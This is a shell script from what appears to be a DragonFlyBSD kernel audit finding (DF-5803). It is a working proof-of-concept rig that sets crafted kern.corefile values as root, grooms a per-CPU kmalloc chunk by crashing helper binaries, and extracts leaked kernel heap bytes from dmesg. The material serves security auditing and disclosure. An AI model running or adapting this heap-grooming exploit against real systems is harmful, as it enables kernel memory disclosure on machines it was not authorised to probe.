⬢ DragonFlyBSD Kernel Audit
DF-5803 / groom_rig.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-5803 deterministic groom+trigger rig (run inside guest).
#
# 1. root sets kern.corefile = (FILL)x'S' + "%P" where FILL makes the
#    successful expansion of the groomer crash exactly 1023 chars
#    (temp[1023] = NUL).  groomer crashes -> expand_name kmalloc(1025)
#    [2048 bucket], writes 1023 chars + NUL, kfrees.
# 2. root sets kern.corefile = 1020xA + "%N"; crashy crashes ->
#    expand_name gets the SAME chunk (per-CPU LIFO), overwrites [0..1019]
#    with 'A', hits the overflow at %N and log()s temp via %s:
#    -> temp[1020..1022] still holds the groomer's pid digits (LEAK),
#       NUL at 1023 (groom's terminator) stops %s.
#
# Success criterion: log line "Path `AAAA...<3 pid digits>crashy' is too long"
# i.e. NON-'A' bytes between the 1020-char prefix and the comm name.
set -e

GROOMER_PID_FILE=/tmp/groomer_pid

groom_once() {
    # compute filler so that filler + len(pid) == 1023
    pid=$(cat $GROOMER_PID_FILE)
    pl=${#pid}
    fill=$((1023 - pl))
    CF="$(printf 'S%.0s' $(seq 1 $fill))%P"
    sysctl -w kern.corefile="$CF" >/dev/null
    ( cd /tmp && ulimit -c unlimited && ./groomer >/dev/null 2>&1 ) || true
}

attempt() {
    # fresh groomer pid each round (pid recorded via its own output)
    ( cd /tmp && ulimit -c unlimited && ./groomer > $GROOMER_PID_FILE.groom 2>&1 ) || true
    pid=$(sed -n 's/.*pid=\([0-9]*\).*/\1/p' $GROOMER_PID_FILE.groom)
    [ -n "$pid" ] || return 1
    echo "$pid" > $GROOMER_PID_FILE
    groom_once
    # trigger
    CF="$(printf 'A%.0s' $(seq 1 1020))%N"
    sysctl -w kern.corefile="$CF" >/dev/null
    ( cd /tmp && ulimit -c unlimited && ./crashy >/dev/null 2>&1 ) || true
    sleep 0.3
}

case "$1" in
setup)
	cc -O -o /tmp/groomer /tmp/groomer.c
	cc -O -o /tmp/crashy /tmp/crashy.c
	rm -f /tmp/groom.core /home/maxx/groomer* /home/maxx/crashy*
	echo SETUP_OK
	;;
run)
	dmesg | grep -a "too long" | while read -r l; do dmesg -c >/dev/null 2>&1; break; done 2>/dev/null || true
	i=0
	while [ $i -lt ${2:-12} ]; do
		i=$((i+1))
		attempt || continue
		out=$(dmesg | grep -a "too long" | tail -1)
		if [ -n "$out" ]; then
			# strip the 1020 'A' prefix; what remains before 'crashy' is leaked heap
			tail=$(printf '%s' "$out" | sed 's/^.*Path `.//' | cut -c1021-)
			echo "attempt $i: ${tail:-<none>}"
			case "$tail" in
				crashy\'*) : ;;             # clean: NUL right at 1020
				*crashy\'*) echo "LEAK_DETECTED"; exit 0 ;;
				*) : ;;
			esac
		fi
	done
	echo NO_LEAK_IN_THIS_BATCH
	;;
restore)
	sysctl -w kern.corefile="%N.core" >/dev/null
	rm -f /home/maxx/*.core /tmp/*.core /home/maxx/groomer* /home/maxx/crashy* 2>/dev/null || true
	echo RESTORED
	;;
esac